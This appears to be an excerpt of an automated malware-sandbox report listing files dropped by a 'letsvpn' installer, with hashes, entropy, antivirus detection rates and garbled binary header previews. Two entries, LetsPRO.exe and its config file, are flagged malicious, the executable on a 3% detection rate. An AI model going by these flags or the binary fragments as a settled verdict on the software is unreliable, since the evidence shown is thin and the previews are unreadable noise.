                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.956445953667057
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:P4TdwlzpwKANynsAw/98E9VF3AM+oh2tuHGq:GdjAw/KENAMxIuh
                                                                                            MD5:05EEDB6A8F92D9E0991BAEABAA09A1DE
                                                                                            SHA1:41139C70A16A8465738DAF3771603985D77B0B32
                                                                                            SHA-256:33F72F1482A5D3D1397A306041E062BDBE029A9C0C0021D86EDAE64FBA9FF00F
                                                                                            SHA-512:A57D0BD14FB0FA9D8A4B153F4CC276AC2106717BA4FA93B762760D63E2860EDB6BD9760CF45580263D431626A95F46816DFCB0D6FC6CED3F23ECAE409C0298BD
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................*... ...@....... ...................................@..................................*..K....@...................+...`......H)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H........!..D...................P .......................................!{.`DzN?...dr..1..9..NN/...[..t...2......C.......x..YCU......=....{.9W.J......^S.N;...iY........RBA......{..u..\~..1/M..^....~....(....-.s....z*J....(....-.s....z*..(....*.BSJB............v2.0.50727......l.......#~......`...#Strings....|.......#US.........#GUID...........#Blob...........G7........%3......................................................................y............... .......y.....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):15848
                                                                                            Entropy (8bit):6.926566591160178
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:xYN8B5+pPIKfhigcNynC5c77bgfU5izh/y2sE9jBF3A5K+org2J0y0tW:xYM5+pwKANynsAw/98E9VF3AM+orLiW
                                                                                            MD5:79FD69F0B9A830A79DF9F8BC2B5BFC10
                                                                                            SHA1:856174B9681CE4E6A3577D648E62E7EA0AC749D6
                                                                                            SHA-256:8AFE7BC000819C896A43DAF819EDA166F9CA1CD671F91652015B636EF7ED2863
                                                                                            SHA-512:1E8B9E56393F830DF94C5FAABC546448457E94C947C15DF154C7339A618521FED97F0A8182FB1169361F69DD0E48C867314AD4A731DD4EDEDF37057B6BFF1FEA
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X.6S...........!.................(... ...@....... ....................................@..................................'..W....@...................+...`.......&............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H........ ......................P ......................................%.&...Fm........f...Dj..[..(...:w........s4H.. ...p.+^z...;_....~.k...|... ..q..+.cv.VZ.A.[[|..m.0...w.._m.<0...d-.[.R.BSJB............v2.0.50727......l.......#~...... ...#Strings.... .......#US.(.......#GUID...8.......#Blob...........G.........%3............................................................................3.....G.....U.....n.........'...................................%.7.........

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):220648
                                                                                            Entropy (8bit):7.172693296669628
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:+YP7/P97ilHDqO01ktQOzB4YjDnX08RYA3fP5SRhS:+YPpilHD+kQA4uk8RYA3fmS
                                                                                            MD5:31B3A8A6C1DD13132C1D7C114DDEAE98
                                                                                            SHA1:8E1531B42FAE1BFF7D43F4256A57AF67A075CAFC
                                                                                            SHA-256:96CF524DD5DD3EADAE022DF9B7D9F9289600FE8F3B24969EBD90BC21C1A7312F
                                                                                            SHA-512:2CCA6FF092C835CD1C66773113828F6FAFFD0CFED309DA45ADD6DA9CD1EBE3486C9A58293AFA758E1A5BA13FEA847B1AA6EF2839D2351F842C63E927E1A22E49
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....nX...........!.....(...........G... ........@.. ....................................@.................................`G..K....`...............2...+...........F............................................... ............... ..H............text....'... ...(.................. ..`.rsrc........`.......*..............@..@.reloc...............0..............@..B.................G......H........C..............D1......LC......................................F.~....o.........*..J.~..........o....*..0..E........u....-.*.t.......(....u....-.*..(............~....o...........o....*....0..T.......r...ps....re..ps.........r...p.....(.........(.................s....s....(.........*.0..G.............o....u....%-.&s......o....(...+(...+..,..#........o....+G.o....#........s....o...........o..........#.......?#.......?s....o....s.....s....%#........s....o....% h...ls...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):56296
                                                                                            Entropy (8bit):6.198513563770946
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:/fgAOG37OIh4Pqr8OvsQu4wwC9ZBMGAw/KENAMxQ41c:/fgng6Ie1OvI4wwC98GAwrxQn
                                                                                            MD5:6465D2200CA37801DD31FC6E0F13D2EA
                                                                                            SHA1:2CEA26B57815A280C8F88E11FB79D9522A3F9502
                                                                                            SHA-256:43BADBC579709A45C89955ACFA4C4ADBCF37F5D455F6A759D62BA09BE051B4A4
                                                                                            SHA-512:D45FE7401C4814C1F2BA24A26678ED4E6A137B5468A02C97924BAFD1F8B5ABF3D272513093954EE0CBBF5E4A54D34E5CE9A1F30ABCC411EE0D0371416A8A68BE
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Kn.V...........!..................... ........... ....................... .......R....`.....................................O.......X................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...X...........................@..@.reloc..............................@..B........................H........O...s...........................................................0..b............(....-P....=....s......o....o.......(.....o....o.......(....s....s............,..o.....~....*..........7R.......0..).......(.......(....-.#.......?*..( ......(!...*....0..).......(.......(....-.#.......?*..( ......("...*....0............s......o.....o...........o....-...(#....X...($.....+p.o.....3...(#......($.....(%...Y.Y..+J.o.....3...(#......(&.....(%...X.X..+$.o.....3...(#.....('...Y.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):628712
                                                                                            Entropy (8bit):6.139135987986315
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:ITTh6UXqQ0l0l2b4GQnn9lXNbOpIeQjDfjJcxm04FSh+0Nsj8X+iKbH2YjotRhu:waQ0SnPNb8IbJImZo4L+u
                                                                                            MD5:98AEB224BD1555D587560402959438A5
                                                                                            SHA1:3FB9F2E31DFDB8791547C4AFF465BCDB9E3094FC
                                                                                            SHA-256:62D37FF40136DD7DE542010464B6F6F70E98B056B3A57FB45E709AF2FD41DE4E
                                                                                            SHA-512:5A6E51F1300F78309C378DF6807A86EE1C4DAECE66AFA722BD8102923C652F898E8494F96BE6058865DB8DAC6E1DE85071AFA846D47C3EBB2DE96A4316A36DC6
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L..........." ..0..b.............. ........... ....................................`.....................................O....................l...+..............T............................................ ............... ..H............text....`... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B.......................H...........<N...........a..`...(.........................................{w...*..{x...*V.(y.....}w.....}x...*...0..;........u;.....,/(z....{w....{w...o{...,.(|....{x....{x...o}...*.*. .7.^ )UU.Z(z....{w...o~...X )UU.Z(|....{x...o....X*.0...........r...p......%..{w..........>.....>...-.q>........>...-.&.+...>...o.....%..{x..........?.....?...-.q?........?...-.&.+...?...o.....(....*..{....*..{....*V.(y.....}......}....*...0..;........u@.....,/(z....{.....{....o{...,.(|....{...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1471464
                                                                                            Entropy (8bit):6.909759686698742
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:RKHzzSw672M9dzY9QV+baTAjHtKfYqu9D:RvCM9H+bYktuja
                                                                                            MD5:D664FB656FC05BE54EA49950688BE980
                                                                                            SHA1:98B18B4485C0074F868BCF476C413F64FBEB7A15
                                                                                            SHA-256:141B71A28B0D4ED9B8586BE50842CD1B32F2C86EB389444D39DB3AFC47AE8EDF
                                                                                            SHA-512:31C4365D655D54B94D9D1BA4B5A987372742D19F3867FFA26F88193C0E76CE2FBB78D006EDF6BC97435C4E1F2F7CC6A04B8CAB6B5AF641E95CFB5CA54DF9587D
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 3%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p............"...0.................. ........@.. ....................................`.....................................O.......P............H...+..........D...8............................................ ............... ..H............text........ ...................... ..`.rsrc...P...........................@..@.reloc...............F..............@..B.......................H........b..X...........L.................................................{*...*..{+...*V.(,.....}*.....}+...*...0..A........u........4.,/(-....{*....{*...o....,.(/....{+....{+...o0...*.*.*. .z.. )UU.Z(-....{*...o1...X )UU.Z(/....{+...o2...X*...0..b........r...p......%..{*......%q.........-.&.+.......o3....%..{+......%q.........-.&.+.......o3....(4...*..(5...*^.(5..........%...}....*:.(5.....}....*:.(5.....}....*:.(,.....}....*..(6...*..(7...*..*J.{....%-.&*.o8...*..(5...*:.(

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe.config

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):22737
                                                                                            Entropy (8bit):5.008129188489306
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:liBqrQGGJHowfGli6CkuMcuiuwuwu8ux0GReGWeGFuGgeKCUDuTeHOTu0U5e3eT4:liBqrUOpPUDRTHffIC
                                                                                            MD5:3B1D12693EE14F307D7E8B1F08AE23C0
                                                                                            SHA1:82719E54B457A4E5CC57B33714E67FC0305B6E90
                                                                                            SHA-256:0B2A37670105E8D30FE0C4AECFAD876F669663834A6C91BC89E309FB609032B7
                                                                                            SHA-512:AC7B99E0FB2E7D656DFC8E5DF1FAD58E4446C854E6D1D05A48DBD5FE93AB4978C3B206D828D8BCFC874EFF0981886BE4AE72E063AACCF895959D7CD5456A5E95
                                                                                            Malicious:true
                                                                                            Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="EnvConfig" type="System.Configuration.NameValueSectionHandler" />.. <section name="Production" type="System.Configuration.DictionarySectionHandler" />.. <section name="Stage" type="System.Configuration.DictionarySectionHandler" />.. </configSections>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.2" />.. </startup>.. <EnvConfig>.. <add key="env" value="Production" />.. <add key="adCampaign" value="" />.. </EnvConfig>.. <Production></Production>.. <Stage></Stage>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.0.3.851" newVersion="2.0.3.851" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):23016
                                                                                            Entropy (8bit):6.441130187116346
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:28KmV2K7tmrZoecNmX3pwKANynsAw/98E9VF3AM+opv28/LYe:R2KZsuV4WAw/KENAMxpRP
                                                                                            MD5:71D1A40FFC5DF867F6BDE5C151979AC6
                                                                                            SHA1:3393DD38F6EE1E5AC3BCEBE1C1D62D7915EAF66C
                                                                                            SHA-256:386BC014245093353DD4DCE5E0E2CEDCCFCEDED9A755EF7A5E1ED22CDC7060A0
                                                                                            SHA-512:BEF1A6FB75E50354FAB91F8D659D2D017323068DA2D39ED241157B45D8C60C0AD359D1F3D30A509420F3F3C08FB39C1E4FF895DDEC1884223C38A8C52DE8056F
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........D... ...`....... ...............................X....`.................................OD..O....`...................+...........C..8............................................ ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............,..............@..B.................D......H.......P#..p ..........................................................2r...p.(....*..(....*..(....*6r%..p..(....*6ru..p..(....*2r...p.(....*6r...p..(....*6rg..p..(....*2r...p.(....*2r...p.(....*:r...p...(....*.rs..p......%...%...%...%...%....(....*..(....*6r...p..(....*2rn..p.(....*2r...p.(....*2r...p.(....*2r...p.(....*.rz..p......%...%...%...%...%....%....(....*2r...p.(....*..(....*2r...p.(....*6r...p..(....*:rI..p...(....*2r...p.(....*2r...p.(....*6r...p..(....*6ro..p..(

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24552
                                                                                            Entropy (8bit):6.5881688344599585
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:/alg1rUI/8TocEccc2oS53g4YAb6Q+ReJRpwKANynsAw/98E9VF3AM+oLM8B:NUI/8ccEcccZhRAujeaAw/KENAMxwY
                                                                                            MD5:3751142369266F95134C079B540BCA53
                                                                                            SHA1:C2AE53C26D860CD757E1DADBD49DCE4EED728B30
                                                                                            SHA-256:605BC407A2E8453133A7386B6C11C656F3D5BA59F973849C9AEB3CDD084DAE51
                                                                                            SHA-512:372DA867FA162D4385316C4D61D33F30AB0C812AA8EC087630FEE4FAB94BE5ECF05C4D8A7F9B8D967FA966F1C590A3F2EDA880758576CCF80010581274184D3D
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..,..........2K... ...`....... ....................................`..................................J..O....`...............4...+..........HJ..8............................................ ............... ..H............text...8+... ...,.................. ..`.rsrc........`......................@..@.reloc...............2..............@..B.................K......H........$..`%..........................................................2.(-...(....*6.(-....(....*..(....*6.(.....(,...*6.(.....(,...*..(....*6.(.....(,...*6.(.....(,...*..(....*..(....*b.(-....(-...(.....(,...*v.r...p.(....(.....(-...(....*2(.....(,...*2.(-...(....*.0.........................................................(-...~....(...+~....(...+~....(...+~....(...+~....(...+~....(...+~....(...+(....*.("...*.($...*2.(-...(&...*2.(-...((...*J.(-....(-...(*...*..0..A.......

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Log\20240720.log

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):228
                                                                                            Entropy (8bit):5.173219599959663
                                                                                            Encrypted:false
                                                                                            SSDEEP:6:CJv/tu+bRfrOz+mAJXm1n9qdW8VRxDLM03fYn:GF21sXpUULH3wn
                                                                                            MD5:7DCEFD29EE7DFFF2F84586C6D03A7246
                                                                                            SHA1:C55C9FFFFCE1C949DDBB39A0D0E8CC73AE843F87
                                                                                            SHA-256:E8DFB2D61E5822D01CA64A91F82D4ACB8CCEA69EEDC7B904273550D44D700864
                                                                                            SHA-512:03DC2BEA8401D2CDACC0A36E4D0CF67771282D64DB3E455234E16C2CCD52B6E0D1E9848F16C34A69C2838B239C39E5BA11EB1DEC3BA9ACAE8CB03C0FF822CB3C
                                                                                            Malicious:false
                                                                                            Preview:2024-07-20 05:46:47,928 [Level: ERROR] [Thread: 8] [class:logger] [(null)]: SC-PusherHelper _pusher_Error ..PusherClient.PusherException: App key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Log\Lets.log

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:ASCII text, with very long lines (13680)
                                                                                            Category:modified
                                                                                            Size (bytes):237991
                                                                                            Entropy (8bit):6.005884290629501
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:pqvNovz1sxV8nYd14RE27W+vdkkOpbwyd67fKvJJSyNpLP2UzWzlWkXcafAScl69:Tz1ke/p7W+lkkgbtxTaBBfASc8axj+OU
                                                                                            MD5:75BF8ADDC19CAAC15E842930EA4574A8
                                                                                            SHA1:337F94B08AA7B61B4FAB150DF8D58CB9FDE130E3
                                                                                            SHA-256:53C112D3046A1DA978964E7199DE50A7BEF9C283E713CB409CDB9ADA806DFDD1
                                                                                            SHA-512:6BFAB5142FC553525AAE184D75F89E594E43F8C177FC23C7F38A93539DC9EC3651BF6F110973AE4C4AC7348D2439444B4F9C4B0D9C7E777197CF5753D1D78E8E
                                                                                            Malicious:false
                                                                                            Preview:TUhp7MNjt0usZD6b6R1E+/AVygSAwNIBFpy8hUjFIRVHNtlwoj8xnGfEvJfOIZWBznRiLmoJ.TUhp7MNjt0usZD6b6R1E+/AVygSAwNIBFpy8hUjFIRVHNtlwojgwlGf0rInRaIqObWxRGxwMy5gfQlZ1VXwqitRTdWvSYNk=.TUhp7MNjt0usZD6b6R1E+/AVygSAwNIBFpy8hUjFIRVHNtlwoj8xnGf7t5HYL4iGvjHNn9RhpfTJ7A+LLg==.TUhp7MNjt0usZD6b6R1E+/AVygSAwNIBFpy8hUjFIRVHNtlwojcSpyv3r4DRAZSG9GLp7kFlYP3oSZZMcL701/dKSXoPzLTGrpJbQO87nWfRdBXl+kKI3S23DfwDgHc7Y+VjdRT0R9mzO0JO0JEn0v+rnfQX40WuBGyg6sHlY3w3VZx7HQ73CVmJirEOgtBh4nJPv+CIH8ZImB7+2kqD8Q5cVQlerHVS2gW1OXFCuLe9MDZNCA9mZvpibNQp/Bu6lYk9ffVYcXLbvf9qXuZ10SAFI/x993a70V6h0TD/fvKGKS1pyxrZ9c4t6if6ZS7qbc3At9oJ8bc+GVwIzc4XMQW+34FWuHnIMrPP9VnfXxeQLEWiS+qDY0V681LazC6cIoezgZ4PR0zMRZJdg6PgcoPP5E0+9sMxSjcOIzBfOtmvtl0MtYpUyQ8JDRuH7pGl5l3nHt9qcJLLkxr+jJu3fhRzPRodye84doVonSDmHp9J1l9T4FH2bQDyC3KfyRR6InZ/qedko1TXS0WOYS9oCaAzRVx6cheTyshLRKuNR/ERVoXrx0y6iq8UKI7MIX4Mhpkm.TUhp7MNjt0usZD6b6R1E+/AVygSAwNIBFpy8hUjFIRVHNtlwojgRuSL8rcXYJoyGhcQS73QlSSLyuF85ZcWgmHrDVw==.TUhp7MNjt0usZD6b6R1E+/AVygSAwt8BFpy8hUjFIR2i/ERLeu7N5prAN6DHPMz7SnsqYbc

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):122856
                                                                                            Entropy (8bit):6.257519931937882
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:Y0OQlavbPZKNK9hhmPZEMn5xGFE45N+cX8fZzd97WWhT5wNSAQr7YTFoVaoOT8TS:Yb5vb/lmhMNGzWWhTdTK5N8jhsv
                                                                                            MD5:72E7F84648E080CBDD8A194626E88759
                                                                                            SHA1:DAF9925865D0B4DFF2097F5CADBC8A0E6A715EE9
                                                                                            SHA-256:BAE1268F438CCCA1EA055810C626DC975A650F919713B9F117F1FAC859218A01
                                                                                            SHA-512:121AF118BEB639A8877995FD9721E5D620CA91A5C689D106392D00002F8C966040C5414AE16511439EE1997AD6794BFD5FF7A81413709DF3A13507D2C7ADD06A
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....w..........." ..0.............R.... ........... ....................... ......m.....`.....................................O........................+..........4...T............................................ ............... ..H............text...X.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................3.......H........z..@...........,D...............................................(....*..0..l.......r...p.s.........( ....o!......s"....+%...n...%....o#.....~............o$....o%...%.-....,..o......,..o.....*......$.3W..........Ea......f~....-.(....~......o&...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{ ...*"..} ...*F.~!...('...t....*6.~!....((...*..{"...*"..}"...*..{#...*"..}#...*..{$...*"..}$...*..{%...*"..}%...*..{&...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24552
                                                                                            Entropy (8bit):6.6217913580903724
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:2H9ooU6Xrcnt9sXZ0WQb+Jx4veT6pmj7tkWUVMWRFpwKANynsAw/98E9VF3AM+o3:2H9oR6XScb7Fj7t60Aw/KENAMx+4/
                                                                                            MD5:66C75FA4A4A02B410968486529A30E24
                                                                                            SHA1:8F82372DD4236ABEF9E9D4B0717D31B43730E205
                                                                                            SHA-256:8EC488C0492AA2356A90F02612A1064833396AE160C9F3A0207A182719B0F4FF
                                                                                            SHA-512:F5F0CFE51611199FDEEE009D7868CD86F18E10C9DB8BDABF4B85187C44D1FB0F496B7A58D87B54AC763E82720171161DF2D7EB1CB95FE91CDF376B448E91EDEC
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,.q..........." ..0..,...........J... ...`....... ...................................`.................................UJ..O....`...............4...+..........@I..T............................................ ............... ..H............text....*... ...,.................. ..`.rsrc........`......................@..@.reloc...............2..............@..B.................J......H.......`*...............................................................0..H.........~....,...~....*~..........(......~....%-.&s....%...........,..(......*........#<.......0..%.......~..........(...............,..(.....*....................0..........~..........(....(....o....(...+....,..(......*...........".......0..0.......~..........(....(.....o.....(...+....,..(......*.........$.......0..).......~..........(....(......o.......,..(.....*....................0..C........(..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):53224
                                                                                            Entropy (8bit):6.275569224094001
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:Rqr8YZ2IPJ1hCmfPzcscksOOWwp/fFCHUHGoH0w8eKYIySh6TeAw/KENAMxet:R3aJBOkAHaUm08eKYIITeAwrxet
                                                                                            MD5:82060B7900E49417E7ECDCD3540D0B96
                                                                                            SHA1:B53613F50277687FB109AD264D434D41344FDF85
                                                                                            SHA-256:E8BD0BD9D47C71A4E53D4509B857FFF651DDE15F233FF6DF1231A429981E97BA
                                                                                            SHA-512:D99C273C15DBFFCEEAD759493C11BACCFAB2B0AE6B9DDC1E24F57D3E53B90B1763979196FBE0411BDCC51FB17E4FB4B043697E31B3BAB56E17533BA3D7B79F21
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0.................. ........... ..............................h.....`.....................................O........................+..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........D...t..........................................................&...(....*2.r...p(....*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..(....*.(....*..(....*.(....*.(....*.(....*.s....zr.-.rM..pro..p(....*..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):143336
                                                                                            Entropy (8bit):6.0318032972154745
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:5XiDdWM0c7K9ES99d3+uVIQNlHK6Uav1vP8F6IhP:ydWM0cW9EONvHKwvP8FbhP
                                                                                            MD5:E1A6E9B02C3E399663B04EE1451C5964
                                                                                            SHA1:FCF6688E0C7A1D64F701917C9822F643293F6FB7
                                                                                            SHA-256:D7F1E857998B35DB917D1355B3329FE78B456D868C6AABDCF1123C4135948641
                                                                                            SHA-512:D497E94094D5B5242E4EBEA7922446564075859D4E5D3542DA47D7C0B01CC50DC1BBACC09EC070B9B86F4004ED2CC81C6D0807D59047AD2B5A426ED8A037052D
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....gu..........." ..0.............f.... ... ....... .......................`............`.....................................O.... ..|................+...@..........T............................................ ............... ..H............text...|.... ...................... ..`.rsrc...|.... ......................@..@.reloc.......@......................@..B................H.......H...........PR...........................................................0..H.........~....,...~....*~..........(......~....%-.&s....%...........,..(......*........#<.......0..%.......~..........(...............,..(.....*....................(g...*..(h...*..,..o.......(e...r...p(n...*.(....*..0..#.......~..........(.............,..(.....*..................0..#.......~..........(.............,..(.....*..................0..........~..........(....(....o....(...+....,..(......*..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24040
                                                                                            Entropy (8bit):6.6998442362852
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:p/9b512C4dABe070VJI0Ftdalemxxf34wqsWeb/WjLBpwKANynsAw/98E9VF3AM2:p/f1IDjV9UPPpW0Aw/KENAMxmHJ
                                                                                            MD5:3D8A9CF664C2874A9F6880D5F1F51236
                                                                                            SHA1:D6B9D9A8A2A69028CA9B3F72026185AAA115FDDD
                                                                                            SHA-256:9FAA1B1F24E9B4A5C758D92880A33F4DFF31ACF53619829F2E7BB6B7790C6D99
                                                                                            SHA-512:BA83C0528D87F169E76348241F9B55A24DB2F979E545A0F71F1A46F459AB6DB364AE1AFE731DB001615E48F372BFC9A8BFDA19BF00C25F935CD8A718F38DCDC0
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Q..........." ..0..&...........E... ...`....... ....................................`.................................[E..O....`...............2...+..........hD..T............................................ ............... ..H............text....%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............0..............@..B.................E......H.......4&.......................C........................................(....*..(....*.0....................(....}.....*6.|.....(...+*:.|......(...+*:.|......(...+*2.|....(....*..{....%-.&.|....s.....(....%-.&.{....*"..(....*>..}......}....*..0...........{....o........{....(....*Z..}......}......}....*N.{......{....s ...*N.{.....{.....s ...*v.{.....{....o!....{....s"...*..(....*"..s....*.0.....................s#...*&...s#...*..{$...*"..}$...*.0..F.........{%....Xh}%.....}&.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll

                                                                                            Download File
